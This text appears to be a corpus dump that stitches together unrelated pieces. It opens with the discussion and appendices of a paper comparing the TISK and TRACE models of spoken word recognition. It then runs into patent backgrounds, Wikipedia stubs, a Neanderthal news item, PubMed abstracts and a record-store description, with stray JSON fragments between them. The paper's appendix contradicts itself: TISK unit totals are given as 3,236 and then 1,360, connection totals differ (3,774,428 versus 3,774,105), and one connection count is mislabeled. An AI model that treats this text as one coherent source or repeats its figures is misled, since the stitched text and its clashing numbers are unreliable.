But attempts to proceed in the same way for the auditory modality quickly run into at least two brick walls. The first is that a clear homologue of the VWFA for spoken words has remained elusive. This might be because the speech signal varies in more dimensions than the visual signal corresponding to a visual object; a VWFA homologue for speech might need to provide invariance not just in temporal alignment, but also across variation in rate, speaker characteristics, etc. However, one study points to the left superior temporal sulcus as a good candidate for an Auditory Word Form Area (AWFA) on the grounds that this region only responded for auditory words and showed repetition suppression when the same word was spoken twice (Cohen et al., [@B8]), and there have been reports of invariance for temporal alignment or speaker characteristics and/or multidimensional sensitivity in the superior (Salvata et al., [@B57]) and medial (Chandrasekaran et al., [@B5]) temporal gyri. The second issue is that paradigms for testing temporal invariance are less easily designed than those which test location invariance in the visual case. Speculating from Rauschecker et al. ([@B65]), however, we can propose a task that tests for the presence of time-specific word representations, in which subjects would be presented with a sequence of meaningless sounds where one spoken word would be embedded. By manipulating the position of this word in the sequence, one could then test whether a "blind" classifier could be trained to discriminate by their positions-in-time the different fMRI activation patterns evoked in the superior temporal sulcus. Because this decoding procedure can be applied to signals recorded from several disconnected regions of interest, this procedure would be agnostic to the existence of a well-circumscribed AWFA. TRACE and TISK both predict that the classifier should succeed with fMRI patterns evoked early on in the processing stream, i.e., at the time-specific phoneme level, but only TISK predicts that time-invariant representations should be found downstream, for lexical representations. Although the necessity for testing the existence of time-specific units is obvious in the light of the TISK model, we would argue that this has long been an urgent experimental question to ask. TRACE has been the most successful model of spoken word recognition for almost three decades now, and therefore it might be worth taking seriously the most striking hypothesis it makes of the existence of time-specific units, an hypothesis which even TISK does not succeed in completely avoiding at the phoneme level.
4.3. Previous models and alternative approaches to temporal order
-----------------------------------------------------------------
We claimed previously that TRACE has the greatest breadth and depth of any extant model of spoken word recognition. Of course, there are models whose proponents argue that they have solved key problems in spoken word recognition without using TRACE\'s inefficient time-specific reduplication strategy. We will review a few key examples, and consider how they compare with TRACE and TISK.
Norris ([@B50]), Norris et al. ([@B52]), and Norris and McQueen ([@B51]) introduced Shortlist, Merge, and Shortlist B, the first two being IA network models and the latter a Bayesian model of spoken word recognition. All three models share basic assumptions, and we refer to them collectively as "the Shortlist models." Contrary to TRACE, the Shortlist models are entirely feedforward. They also make a critical distinction between words and tokens, the latter being time-specific entities that instantiate the former, time-invariant lexical templates. The reduplication of the lexical level that afflicts TRACE is avoided in these models by assuming that only a "short list" of tokens is created and wired on-the-fly into a "lattice" of lexical hypotheses. These models have a sizable lexicon (even a realistic 20,000 word lexicon in the case of Shortlist B), and although they have not been applied to the full range of phenomena that TRACE has, they have successfully simulated phenomena such as frequency and neighborhood effects. Unfortunately, because no computational mechanism is described that would explain how the on-the-fly generation and wiring of tokens could be achieved, the account of spoken word recognition provided by Shortlist is still essentially promissory.
Other approaches to temporal order use fundamentally different solutions than TRACE\'s reduplication of time-specific units. Elman\'s ([@B18]) simple recurrent network (SRN) may be foremost among these in the reader\'s mind. The SRN adds a simple innovation to a standard feedforward, backpropagation-trained two-layer network: a set of context units that provide an exact copy of the hidden units at time step *t*-1 as part of the input at time *t*, with fully connected, trainable weights from context to hidden units. This feedback mechanism allows the network to learn to retain (partial) information about its own state at preceding time steps, and provides a powerful means for sequence learning. However, while SRNs have been applied to speech perception and spoken word recognition (most notably in the Distributed Cohort Model: Gaskell and Marslen-Wilson, [@B21], but for other examples see Norris [@B49], and Magnuson et al. [@B37], [@B38]), so far as we are aware, no one has investigated whether SRNs can account for the depth and breadth of phenomena that TRACE does (though SRNs provide a possible developmental mechanism since they are learning models, and the Distributed Cohort Model has been applied to semantic phenomena beyond the scope of TRACE).
Another approach is the cARTWORD model of Grossberg and Kazerounian ([@B26]), where activity gradients specific to particular sequences can differentiate orderings of the same elements (e.g., ABC vs. ACB, BAC, etc.). However, this mechanism cannot represent sequences with repeated elements (for example, it cannot distinguish ABCB from ABC, as the second B would simply provide further support for B rather than a second B event), which makes it incapable of representing nearly one third of English lemmas. Furthermore, it is premature to compare this approach to models like TRACE, since it has been applied to a single phenomenon (phoneme restoration) with just a few abstract input nodes and just a few lexical items; thus, we simply do not know whether it would scale to handle realistic acoustic-phonetic representations and large lexicons, let alone the broad set of phenomena TRACE accounts for (see Magnuson submitted, for detailed arguments and simulations showing that the supposed failures of TRACE to account for phoneme restoration phenomena reported by Grossberg and Kazerounian [@B26], were the result of flawed simulations, not a problem with TRACE). Note that a similar activity gradient approach in visual word recognition (Davis, [@B15]) has also been attempted, with similar limitations.
4.4. The utility of interactive activation models
-------------------------------------------------
Because spoken word recognition is a slowly acquired skill in humans, any model of it should eventually strive to incorporate some kind of learning algorithm that explains how the representations necessary to solve the task have matured. Unlike SRNs though, models such as TRACE and TISK do not comply to this requirement. On the other hand and until proven the contrary TRACE vastly outperforms SRNs in explanatory power while having the advantage of being more transparent. We would argue that IA models and learning models like SRNs should be construed as complementary approaches to spoken word recognition. Imagine SRNs were demonstrated to account for similar depth and breadth as TRACE. We would still be left with the puzzle of how they do so. Unpacking the complex composites of cooperative and competitive wiring patterns that would develop would be no mean feat. This is where we find interactive activation models like TRACE and TISK especially useful. The IA framework allows one to construct models with levels of organization (the representational levels) with inter- and intralevel interaction governed by discrete parameters. This allows one to generate hypotheses about which aspects of the model are crucial for understanding some phenomenon (e.g., by investigating which model parameters most strongly generate a key behavior), or about which level of organization may be perturbed in a particular language disorder (Perry et al., [@B54]; Magnuson et al., [@B34]). One modeling approach that is likely to be productive is to use simpler frameworks like IA models to generate hypotheses about key model components in some behavior or disorder, and then to seek ways that such behaviors or disruptions might emerge in a more complex model, such as an SRN or another type of attractor network (cf. Magnuson et al., [@B35]). Similarly, TISK provides a testbed for investigating whether a string kernel scheme is a robust basis for spoken word recognition. For example, the success of string kernel representations in TISK might suggest that we should investigate whether the complex wiring SRNs learn approximates string kernels.
4.5. Relationship between trace and tisk
----------------------------------------
One might be surprised that TISK and TRACE display such similar behavior despite the lack of feedback in the former and its presence in the latter. Feedback in models of spoken word recognition is a controversial topic (McClelland et al., [@B43]; McQueen et al., [@B45]; Mirman et al., [@B47]), which we do not address here; our aim is to see whether a model with a radically simpler computational architecture compared to TRACE can (begin to) account for a similar range of phenomena in spoken word recognition. However, this resemblance despite feedback is less surprising than it may seem. Indeed, it has been known for several years that the feedback contribution to word recognition in TRACE is limited given noise-free input (Frauenfelder and Peeters, [@B19]): simulations show that feedback makes the model more efficient and robust against noise (Magnuson et al., [@B36]). It also provides an implicit sensitivity to phonotactics---the more often a phoneme or n-phone occurs in lexical items, the more feedback it potentially receives---and it is the mechanism by which top--down lexical effects on phoneme decisions are explained in TRACE. None of these effects were considered in this article, which focused on core word recognition abilities and lexical competition effects. We acknowledge that without feedback, TISK will not be able to simulate many top--down phenomena readily simulated in TRACE. Future research with TISK will explore the impact of feedback connections.
4.6. Limitations and next steps
-------------------------------
The aim of this study was to improve on one particularly expensive aspect of the TRACE model without drastically affecting its lexical dynamics, or diminishing its explanatory power. We have demonstrated that a radically different approach to sequence representation, based on string kernels, provides a plausible basis for modeling spoken word recognition. However, our current model has several obvious limitations.
First, to apply TISK to the full range of phenomena to which TRACE has been applied will require changes, for example, in the input representations for TISK. As we mentioned above, we used single-point inputs for TISK rather than the on- and off-ramping, over-time inputs in TRACE that also give the model a coarse analog to coarticulation. An input at least this grain will be required to apply TISK to, for example, subcategorical mismatch experiments that TRACE accounts for (Dahan et al., [@B12]).
Second, TISK\'s levels and representations are stipulated rather than emergent. Our next step will be to examine whether codes resembling string kernels emerge when intra-level weights are learned rather than stipulated. What learning algorithm could find the set of weight values under which TISK and TRACE have been shown to achieve close to perfect recognition? Is there more than one such set, and do they make different predictions from the existing fine-tuned solutions? There are a few results that suggest the way forward. For instance, there are demonstrations that Hebbian learning applied at the lexical level in TRACE can help explain short term phenomena in spoken word recognition (Mirman et al., [@B48]). If Hebbian learning is indeed active on short scales, there are no reasons to doubt that it will be involved on longer time-scales, slowly shaping the landscape of inhibition between words, which forms the basis for much of the behaviors explored in this article.
Third, a problem shared by all models of word recognition is that it is not clear how to scale from a model of word recognition to higher levels, e.g., to a model of sentence comprehension. Because TISK\'s word level is time-invariant, there is no obvious way to generate ngrams at the word level. However, TISK and TRACE, like other models capable of activating a series of words over time given unparsed input (i.e., word sequences without word boundary markers) should be linkable to parsing approaches like "supertagging" (Bangalore and Joshi, [@B2]; Kim et al., [@B33]) or the self-organizing parser (SOPARSE) approach of Tabor et al. (e.g., Tabor and Hutchins, [@B62]). Note that a common intuition is that SRNs provide a natural way of handling sequential inputs from acoustics to phonemes to words. However, it is not clear that this translates into a comprehensive model of the entire speech chain. It is not apparent that you could have a single recurrent network that takes in acoustics and somehow achieves syntactic parsing (let alone message understanding) while producing human-like behavior at phonetic, phonological, lexical levels. These are non-trivial and unsolved problems, and despite the intuitive appeal of recurrent networks, remain unanswered by any extant model.
Finally, it is notable that we have not implemented feedback yet in TISK. This renders TISK incapable of accounting for top--down lexical effects on phoneme decisions. However, as Frauenfelder and Peeters ([@B19]) and Magnuson et al. ([@B36]) have demonstrated, feedback plays little role in recognition given clear inputs. When noise is added to a model like TRACE, feedback preserves speed and accuracy dramatically compared to a model without feedback. While feedback also provides a mechanistic basis for understanding top--down effects, it is also remarkable that at least one effect attributed to feedback in TRACE (rhyme effects; Allopenna et al., [@B1]) emerges in TISK without feedback. This suggests that in fact examining which, if any (other), putatively top--down effects emerge without feedback in TISK will be a useful enterprize. Given, however, the remarkable fidelity to TRACE that TISK demonstrates over a broad swath of phenomena, it is clear that feedback need not be included in this first assay with TISK.
5. Conclusion {#s4}
=============
Twenty-seven years after Elman and McClelland introduced the TRACE model, we have endeavored to answer the question of how to dispense with time-duplication, and have presented an alternative that preserves TRACE-like performance on spoken word recognition while using orders of magnitude less computational resources. Perhaps more importantly, the particular structures and mechanisms that achieve time-invariance in TISK construct new and intriguing bridges between visual and spoken word recognition.
Funding
=======
Thomas Hannagan and Jonathan Grainger were supported by ERC research grant 230313.
Conflict of interest statement
------------------------------
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
We thank Emily Myers, Lori Holt, and David Gow Jr., for stimulating discussions.
A. Parameters of the model
==========================
**Name** **Value** **Description**
------------ ------------ ------------------------------------------------------------------------
Times 10 Number of time-specific slots (for input and time specific phonemes)
Istep 10 Pace of input stream (a new input is introduced every "istep" cycles)
Deadline 100 Deadline
DecayP 0.01 Decay rate for time-specific phonemes
DecayNP 0.01 Decay rate for time-invariant nphones
DecayW 0.05 Decay rate for time-invariant words
Gap max Authorized gap between phonemes in time-invariant nphones
(e.g., if gap = 1, "/bark/" = "/ba/," "/ar/," "/rk/";
if gap = 2, "/bark/"= '/ba/," "/br/," "/ar/," "/ar/," "/ak/," "/rk/").
PtoNPexc 0.1 Time-specific phoneme to time-invariant nphone excitation
PtoNPthr 6 Time-invariant nphone activation threshold
NPtoNPinh 0 Lateral inhibition between nphones
NPtoWexc 0.05 Excitation from time-invariant nphone ("/ba/") to words ("/bark/")
NPtoWscale Wordlength Scaling factor for NPtoW connections (here, set to word length)
WtoNPexc 0 Excitation from words ("/bark/") to time-invariant nphone ("/ba/")
1PtoWexc 0.01 Excitation from 1-phone ("/a/") to words ("/bark/")
Wto1PExc 0 Excitation from words ("/bark/") to 1-phone ("/a/")
WtoWinh −0.005 Lateral inhibition between words
B. Sizing trace
===============
Recall that TRACE duplicates each feature, phoneme, and word unit at multiple time slices. Features repeat every slice, while phonemes and words repeat every three slices. Figure [2](#F2){ref-type="fig"} illustrates reduplication and temporal extent of each unit type. For completeness we will include the feature level in our sizing of TRACE, although it will not be taken into account in our comparison with TISK. In the following, *S*, *F*, *P*, and *W* will, respectively stand for the number of time slices, features, phonemes and words in the model.
B.1. Counting units
-------------------
Because there is a bank of *F* features aligned with every slice, there are *SF* feature units. For phonemes, given that we have *P* time-specific units every three slices, for a total of *P*(*S*/3). For words, we have *W* time-specific units every three slices, for a total of *W*(*S*/3).
The total number of units as a function of *S*, *F*, *P*, and *W* can therefore be written: *SF* + *P*(*S*/3) + *W*(*S*/3) = *S*(*F* + *P*/3 + *W*/3) We see that the cost in units is linear in all of these variables, and that for 201 time slices, 212 words, 14 phonemes, and 64 feature units the TRACE model requires 12,633 + 938 + 14,204 = 27,805 units.
B.2. Counting connections
-------------------------
We start by counting the feature-phoneme connections. There are seven features per phoneme on average (vowels, fricatives and liquids don\'t use the burst parameter, but some phones take two values within a feature level). Let us count how many phoneme units overlap with each slice. From Figure [2](#F2){ref-type="fig"}, we can see that two copies of each phoneme overlap with each time slice. Therefore, there are seven (features) ^\*^2 (copies) ^\*^*P* feature-phoneme connections per slice, which results in 14 PS feature-phoneme connections in the model.
Let us proceed to phoneme-word and word-phoneme connections. Words are four phonemes long on average, and there are *W*(*S*/3) word units. But each of those units receives input not just from the four phonemes that are maximally aligned with it, but also the phonemes to the left and right of the maximally aligned phonemes. Thus, the total number of phoneme-word connections will be 3(*S*/3)*Wp* = *SWp*, where *p* is the number of phonemes per word. There will be an equal number of feedback connections from words to phonemes, for a total count of 4*SW* Phoneme-phoneme connections.
Next we consider the phoneme--phoneme connections. Each phoneme unit has an inhibitory link to each phoneme unit with which it overlaps. We can see from Figure [2](#F2){ref-type="fig"} that three copies of each phoneme overlap any given slice. So for each phoneme unit aligned at a given slice, it will have 3*P* − 1 outgoing inhibitory links (we subtract 1 for the unit itself). We do not need to count incoming connections; these are included when we multiply by the number of phoneme units. This results in a total count of *PS*(*P* − 1/3) word--word connections.
Just like phonemes, each word unit has an inhibitory link to each word unit with which it overlaps. The number of copies of any word that will overlap with a given slice will vary with word length, as can be seen in Figure [2](#F2){ref-type="fig"}. We can also see from Figure [2](#F2){ref-type="fig"} that words span six slices per phoneme. Recall that words are duplicated every three slices. For the 2- and 3-phoneme long examples in Figure [2](#F2){ref-type="fig"}, we can determine that the number of copies of each word of length *p* that overlap with a given third slice (that is, an alignment slice, or a slice where one copy of the word is actually aligned) would be 1 + 2(2*p* − 1) (the first 1 is for the unit aligned at the slice), i.e., 4*p* − 1. So a word unit at an alignment slice will have (4*p* − 1)*W* − 1 outgoing inhibitory connections. Therefore we arrive at a count of *W*(*S*/3)(4*p* − 1)*W* − 1) word--word connections, which for an average word length of four phonemes amounts to *SW*(5*W* − 1/3). All in all, we arrive at the following formula for the total connection count in TRACE: Total = 14PS + 4*SW* + *PS*(*P* − 1/3) + *SW*(5*W* − 1/3) = *S*(14*P* + *W* + *P*(*P* − 1/3) + *W*(5*W* − 1/3)) = *S*(*P*(*P* + 41/3) + *W*(5*W* + 2/3)) = *S*\[(*P*^2^ + 41/3*P*) + (5*W*^2^ + 2/3*W*)\].
c
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According to our calculations, the cost in connections is therefore a quadratic function of *P* and *W* (due to lateral inhibition at the phoneme and word levels), and a linear function of *S* (due to limited overlap of units over time slices). In particular, with the standard parameters of 212 words, 14 phonemes, a mean word length of 4 phonemes, and 67 alignment units the TRACE model requires 45,573,266 connections.
C. Sizing tisk
==============
TISK has three levels: a time specific phoneme level, a time-invariant string kernel level (tisk, after which the model is named), and a time-invariant word level. TISK doesn\'t have a feature level, and instead the output of such a level is emulated by a wave of net inputs that arrives to the time-specific phoneme level at a regular pace. A feedforward symmetry network operates the transition between the time-specific phoneme level and the nphone level. There are positive feedforward and feedback connections between the nphone and word levels, and lateral inhibitory connections within them, although in practice only the word level has non-zero inhibitory connections and they are restricted to neighbors. The cuts in computational resources are mostly due to the symmetry network, and to a lesser extent, to the limited use of lateral inhibition.
C.1. TISK units
---------------
Because only one level is time-specific in TISK, the notion of alignment doesn\'t have course anymore. Therefore the number of time-specific phonemes is simply given by the number of phonemes multiplied by the number of time slices, or *PS*. With 14 phonemes and, 201 slices, this amounts to 2814 time-specific phoneme units. The nphone level hosts time-invariant phonemes and all possible diphones (even phonotactically illegal ones), and therefore uses *P* + *P*^2^ units, which for *P* = 14 means 210 units. Finally the word level counts *W* units, one for each word in the lexicon, and *W* is set to 212 throughout most simulations. The total number of units in the model is therefore *PS* + *P* + *P*^2^ + *W* = *P*(*P* + *S* + 1) + *W* = 3236 units. *W* time-invariant word units (212). *P* + *P*^2^ time-invariant n-phone units (*P* 1-phones and *P*^2^ diphones; = 210). Total units at basic parameters: 1360.
C.2. TISK connections
---------------------
We only count non-zero connections throughout. We start by sizing connections in the symmetry network (Figure [3](#F3){ref-type="fig"}). A time-specific phoneme unit sends a connection to an nphone unit if and only if it is a constituent of this unit (for instance, *A*~2~ sends a connection to A, AB, BA, and AA, but not to B). There are 2*P* − 1 diphones that start or end with a given phoneme, and one time-invariant phoneme, so a given phoneme at time t will send 2*P* − 1 + 1 = 2*P* connections, and multiplying this by the number of time specific phonemes *PS*, we see that the total number of connections is 2*P*^2^*S*. From this, however, we must remove all zero connections: unit *A*~1~ (resp. *A*~*T*~) should not give evidence for diphone units that end with A (resp. that start with A), and therefore gradient coding assigns zero to these connections. We see that these cases only occur at the first and last time slices (implying that there are more than two time slices), and that for a given phoneme, *P* − 1 connections are concerned, resulting in 2*P*(*P* − 1) zero connections. There are therefore 2*P*^2^*S* − 2*P*(*P* − 1), or 2*P*(*SP* − *P* + 1), phoneme-to-nphone connections in the symmetry network (with 14 phonemes and 201 time slices, this amounts to 78,428 connections).
We must now count the number of gating connections in the symmetry network. To prevent spurious activations at the nphone level, the symmetry network uses gating connections. These are hard-wired connections that originate from time specific phonemes, and inhibit some connections between time-specific phonemes and time-invariant nphones. Specifically, a given phoneme at a given time slice will inhibit all connections at later time slices that originate from the same phoneme and arrive to a diphone that begins with that phoneme (and does not repeat). Because there are *P* − 1 diphones that start with a given phoneme and do not repeat, and there are *P* phonemes at a given time slice, *P*(*P* − 1) connections must be gated at any time slice after the one considered, or for *S* \> 2: $$\begin{array}{l}
{c_{\text{gating}} = P(P - 1)(S - 1) + P(P - 1)(S - 2) + \ldots + \, P(P - 1)(1)} \\
{\text{~~~~~~~} = P(P - 1){\sum\limits_{s = 1}^{S - 1}s}} \\
{\text{~~~~~~~} = \frac{P(P - 1)S(S - 1)}{2}} \\
\end{array}$$
With 14 phonemes and 201 time slices, this amounts to 3,658,200 gating units. The total in the time specific part of the network is therefore of 3,658,200 + 78,428 = 3,736,628 connections (Note that the formulas obtained here were verified empirically by direct inspection of the number of connections in the model for various number of time slices, and were found to be exact in all cases). We now proceed to count connections in the time invariant part of the network, first noticing that because lateral inhibition at the nphone level was set to zero, we only need to count the connections between the nphone and the word level, as well as the lateral connections within the word level. However, in TISK these numbers will depend not only on the size of the lexicon and the number of nphones, but critically also on the distribution of nphones in the particular lexicon being used, so that we are reduced to statistical approximations. Empirically, we find that an average word connects to 9.5 nphones in TISK, leading to an estimate of 9.5 W feedforward connections between the nphone and word level. Similarly, simulations show that the number of lateral inhibitory connections at the word level in TISK is 0.8*W*(*W* − 1). Therefore the number of connections in the time-invariant part of the model reaches 0.8*W*^2^ − 0.8*W* + 9.6*W* = 0.8*W*^2^ + 8.8*W*. With a lexicon of 212 words, this amounts to 37,800 connections.
All in all, we arrive at the following expression for the number of connections in TISK for *S* \> 2: $$c_{\text{TISK}} = 2P^{2}S - 2P(P - 1) + \frac{P(P - 1)S(S - 1)}{2} + W(0.8W + 8.8)$$ which amounts to 3,774,428 connections using our usual assumptions on *S*, *P*, and *W*. It can be seen when this expression is developed that it is quadratic in *S*, *P*, and *W*. This would seem to be a setback compared to the expression obtained for TRACE, which is only quadratic in *P* and *W* but linear in *S*. However, *S* is *orders* of magnitudes smaller than *W*, and what we obtain in exchange of this quadratic dependence to *S* is to decouple the *S* and *W* factors, reflecting the fact that in TISK the lexicon is not duplicated for every time slice anymore. Consequently there is a substantial gain in connections when switching from TRACE (45,573,266) to TISK (3,774,105) connections, the latter having ten times less connections, a gain of one order of magnitude which improves with lexicon size to reach an asymptota at three orders of magnitude.
[^1]: Edited by: Julien Mayor, University of Geneva, Switzerland
[^2]: Reviewed by: Matthew H. Davis, MRC Cognition and Brain Sciences Unit, UK; Ulrich H. Frauenfelder, University of Geneva, Switzerland
[^3]: This article was submitted to Language Sciences, a section of the journal Frontiers in Psychology.
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{
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The present invention lies in the field of active power management (APM) which means the short term control of processor clock frequencies and core supply voltage (Vdd) to minimise power consumption in an active mode. Active power management is generally handled by a fast power management component, where clock frequencies and voltages may need to be modified every few hundred microseconds. Decisions are based on short term application needs.
Many computing systems are required to run at particular speeds in order to function correctly. For example, a processor in a mobile terminal of a wireless communication network is required to operate at a particular speed in order to process call data in real-time to allow an operator of the terminal to engage in real-time communications with another person, without dropping the call. This is just one example of a computing system which is required to operate at a particular speed. In order to operate at the particular speed, the frequency of the clock signal used in the computing system is required to be at least a particular threshold value.
In order for a computing system to operate at high clock frequencies, a correspondingly high supply voltage is required. However, as the supply voltage used in the computing system increases, so does the power used by the computing system, which is disadvantageous. It is desirable to keep the supply voltage low, but not too low such that the computing system cannot operate at the required clock frequency.
Automatic tracking software can be used to select a required supply voltage for use in a computing system. For example an AVS (Automatic Voltage Scaling) function can be used to select the supply voltage.
The supply voltage is set in an attempt to accommodate the software that is running on the computing system. Specifically, as the software is executed the supply voltage will fluctuate as the supply current drawn as a consequence of the operations of the executed software can vary more quickly than the supply voltage regulator circuit can react. Such changes in supply voltage are known as supply ‘bouncing’, ‘droop’ ‘transient response’ or simply ‘noise’. The voltage regulator circuit and its connection to the computing system will contain inductive and capacitive components and thus will have resonant frequencies which can increase the effect of the voltage ‘bouncing’ if the software happens to cause load transients at frequencies that excite these resonances. If the supply voltage becomes too low then logic in a critical timing path of the computing system can fail and some circuits can fail to work at any speed. For example WRITE operations, particularly to 6 transistor Static Random Access Memory (SRAM) cells, can be very susceptible to failure under low supply voltage conditions.
In order to avoid the failure of a critical path in the computing system, a voltage margin is implemented, such that in normal operating conditions the supply voltage is set slightly higher (by an amount that is the voltage margin) than the minimum voltage required in the critical path at the current clock frequency. This voltage margin allows the voltage to droop slightly as the software is operated without going below the minimum required to prevent the critical path from failing. The voltage margin is typically chosen to cover manufacturing and the software variability (i.e. a software factor). The voltage margins are chosen to be at a level that is considered ‘safe’ for any part in the critical path of the computing system at a particular speed.
The additional voltage margin increases the power consumption of the computing system in operation.
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Touring Talkies (film)
Touring Talkies is a 2013 Marathi-language Indian feature film directed by Gajendra Ahire and produced by Trupti Bhoir, starring Subodh Bhave, Trupti Bhoir and Neha Pendse.
Plot
The movie is based on the concept of roaming cinema which was one of the oldest traditions in the bygone era of Indian cinema where the movies were showcased in tents for the local folks also known as Touring talkies. For the past few decades these films have made a common recurring occurrences in most of the Carnival Fun fair taking place across villages where the Marathi Cinema is adored in a completely distinctive fashion
Cast
Trupti Bhoir as Chaandi
Subodh Bhave
Milind Shinde as antagonist
Kishor Kadam
Suhas Palshikar
Vaibhav Mangle
Chinmay Sant
Neha Pendse
Music
The songs of the film are composed by Ilaiyaraaja.
References
External links
Category:2010s Marathi-language films
Category:Indian drama films
Category:2010s drama films
Category:Indian films
Category:Films about films
Category:Marathi film scores by Ilaiyaraaja
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{
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Jun. 26, 2015
A 40,000-Year-Old Jawbone Reveals Neanderthal Ancestry
Roaming Romania 40,000 years ago was a modern human with a family tree that recently surprised scientists. Researchers figured out that this fellow could have had a great-great-grandparent that was a Neanderthal. In fact, genomic sequencing of the ancient jawbone specimen indicated that six to nine percent of the man’s DNA was Neanderthal. That’s the most Neanderthal DNA found in a modern human yet, says David Reich, professor of genetics at Harvard Medical School and an author of the paper about the findings, published this week in Nature. Reich explains what this discovery helps us understand about the early interactions between Neanderthals and modern humans in Europe.
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{
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1. Field of the Invention
The present invention relates to fields of microbiology and medicine. More particularly, the present invention relates to a bacterial protein designated as MAM and methods and compositions for exploiting its use in treating pathogenic bacterial infections.
2. Description of Related Art
Bacterial pathogens possess a large repertoire of virulence factors that target and manipulate the host cellular machinery to enable infection. Delivery of effector proteins to the host cytosol by type III, type IV and type VI secretion systems as well as delivery of extracellular toxins is a common strategy used by bacterial pathogens to abrogate the host immune response and alter cellular pathways to the pathogen's advantage (Alouf, 2000; Galan, 2009). Since the secretion of effector and toxin proteins is contact-dependent, the bacteria need to establish tight binding to the host to successfully start an infection. If one could establish the existence of a common virulence factor across species that enables a wide range of pathogen to establish strong initial host binding, which is required for the activation and secretion of other virulence factors, it would be possible to design a broadly effective therapeutic strategy that focuses on inhibition of this factor.
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We’re a year late, but how cool is this? Installation artist Evan Holm created a submerged record player. Even under water it still produces nearly perfect audio. The installation actually reflects some of his dark thoughts about “the unfolding universe,” but besides that it’s also a fascinating record player. Don’t try this at home with your Technics in the bathtub, though…
There will be a time when all tracings of human culture will dissolve back into the soil under the slow crush of the unfolding universe. The pool, black and depthless, represents loss, represents mystery and represents the collective subconscious of the human race. By placing these records underneath the dark and obscure surface of the pool, I am enacting a small moment of remorse towards this loss. In the end however this is an optimistic sculpture, for just after that moment of submergence; tone, melody and ultimately song is pulled back out of the pool, past the veil of the subconscious, out from under the crush of time, and back into a living and breathing realm. When I perform with this sculpture, I am honoring and celebrating all the musicians, all the artists that have helped to build our human culture.
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A tale of two dogs: analyzing two models of canine ventricular electrophysiology.
The extensive development of detailed mathematical models of cardiac myocyte electrophysiology in recent years has led to a proliferation of models, including many that model the same animal species and specific region of the heart and thus would be expected to have similar properties. In this paper we review and compare two recently developed mathematical models of the electrophysiology of canine ventricular myocytes. To clarify their similarities and differences, we also present studies using them in a range of preparations from single cells to two-dimensional tissue. The models are compared with each other and with new and previously published experimental results in terms of a number of their properties, including action potential morphologies; transmembrane currents during normal heart rates and during alternans; alternans onsets, magnitudes, and cessations; and reentry dynamics of spiral waves. Action potential applets and spiral wave movies for the two canine ventricular models are available online as supplemental material. We find a number of differences between the models, including their rate dependence, alternans dynamics, and reentry stability, and a number of differences compared with experiments. Differences between models of the same species and region of the heart are not unique to these canine models. Similar differences can be found in the behavior of two models of human ventricular myocytes and of human atrial myocytes. We provide several possible explanations for the differences observed in models of the same species and region of the heart and discuss the implications for the applicability of models in addressing questions of mechanism in cardiac electrophysiology.
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{
"pile_set_name": "PubMed Abstracts"
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Calapooya Creek
Calapooya Creek is a tributary, about long, of the Umpqua River in Douglas County in the U.S. state of Oregon. Formed by its north and south forks, the creek drains a mountainous region south of the Calapooya Divide and east of Oakland and Sutherlin.
From its source, the creek flows generally southwest through or near Nonpareil and Oakland. Near Oakland it passes under Oregon Route 99 and Interstate 5 and further downstream Oregon Route 138 before entering the river at the rural community of Umpqua.
Bridge
Rochester Covered Bridge carries Rochester Road over Calapooya Creek about west of Sutherlin. Built in 1933, its unusual design features side windows with curved tops.
Tributaries
Named tributaries from source to mouth are the North Fork Calapooya Creek and South Fork Calapooya Creek. Then come White, Coon, Timothy, Buzzard Roost, Cooper, and Filler creeks. Below these come Jeffers, Hinkle, Gilbreath, Gassy, Cantell, Pelland, Long Valley, and Banks creeks. Further downstream are Foster, Oldham, Pollock, Cabin, Cook, Dodge Canyon, Coon, and Burke creeks.
See also
List of rivers of Oregon
References
External links
Partnership for the Umpqua Rivers
Category:Rivers of Oregon
Category:Rivers of Douglas County, Oregon
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Photoresponse to different lighting strategies during red leaf lettuce growth.
The objective of the study was to investigate the effects of growth-stage specific lighting for the physiological homeostasis of red leaf lettuce (Lactuca sativa L. cv. Red Cos), by measuring the productivity of photosynthesis and primary metabolism. In the experiments, the main photosynthetic photon flux consisted of red (R) and blue (B) light, supplemented with blue, green (G) or UV-A wavelengths. Decrease of fructose, accompanied by significant decrease of stomatal conductance (gs), the ratio of intracellular to ambient CO2 concentration (Ci/Ca), photosynthetic rate (Pr), light adapted actual quantum yield of PSII photochemistry (ΦPSII), biomass formation and significant increase of transpiration rate (Tr) suggest that supplemental UV-A during maturity stage, after supplemental green irradiation during seedling stage (BRG to BRUV) was the least favourable condition for red leaf lettuce. However, constant irradiation with supplemental green (BRG) or supplemental green irradiation after increased blue exposure (B↑R to BRG) resulted in significant increase of Pr, gs, Ci/Ca, and light use efficiency(LUE), and decrease of Tr and Water use efficiency (WUE). Significant increase of leaf area was observed under supplemental green in both seedlings (BR; BRG) and matured plants (B↑R to BRG). Significant increase of specific leaf area was found under supplemental green (BRG) for seedlings and under increased blue (B↑R) for matured plants. Accordingly, the most favourable growth-stage specific lighting spectrum strategy for red leaf lettuce, based on photosynthetic and primary metabolite response, is supplemental green irradiation after increased blue exposure (B↑R to BRG), whereas, the most favourable condition for seedlings is BRG. According to the PCA correlation matrix, associations among the measured data indicate that WUE negatively correlated with gs and Ci/Ca, while LUE positively correlated with gs and Pr. However, weak correlations between ФPSII, LUE and photochemical reflectance index (PRI) suggest that selected light conditions were not optimal for red leaf lettuce.
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{
"pile_set_name": "PubMed Abstracts"
}
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Shankol
Shankol is a village in Nookat District of Osh Region of Kyrgyzstan. Its population was 4,070 in 2009.
References
Category:Populated places in Osh Region
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{
"pile_set_name": "Wikipedia (en)"
}
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The Dimple Records rewards cardThe Dimple Records in Davis was the sixth Dimple store. The other Dimple locations are in Sacramento (Arden, Broadway, and Dimple Vinyl), Elk Grove, Citrus Heights, Roseville, and Folsom. Like Armadillo Music across the street, Dimple is an independent music store, just on a larger scale. Dimple carries new and used CDs and DVDs and has a wide array of used video games (including old NES, SNES, Sega, Atari, N64, PSX, Dreamcast, Gameboy, PS2, Gamecube, Xbox, Wii, and PS3) controllers, and consoles. The console selection for older consoles is usually slim to none since older systems like Super Nintendos and Sega Genesis are now collectors items and thus sell within a day or two of their being sold to Dimple. Dimple also sells used VHS, usually for about 99 cents a tape.
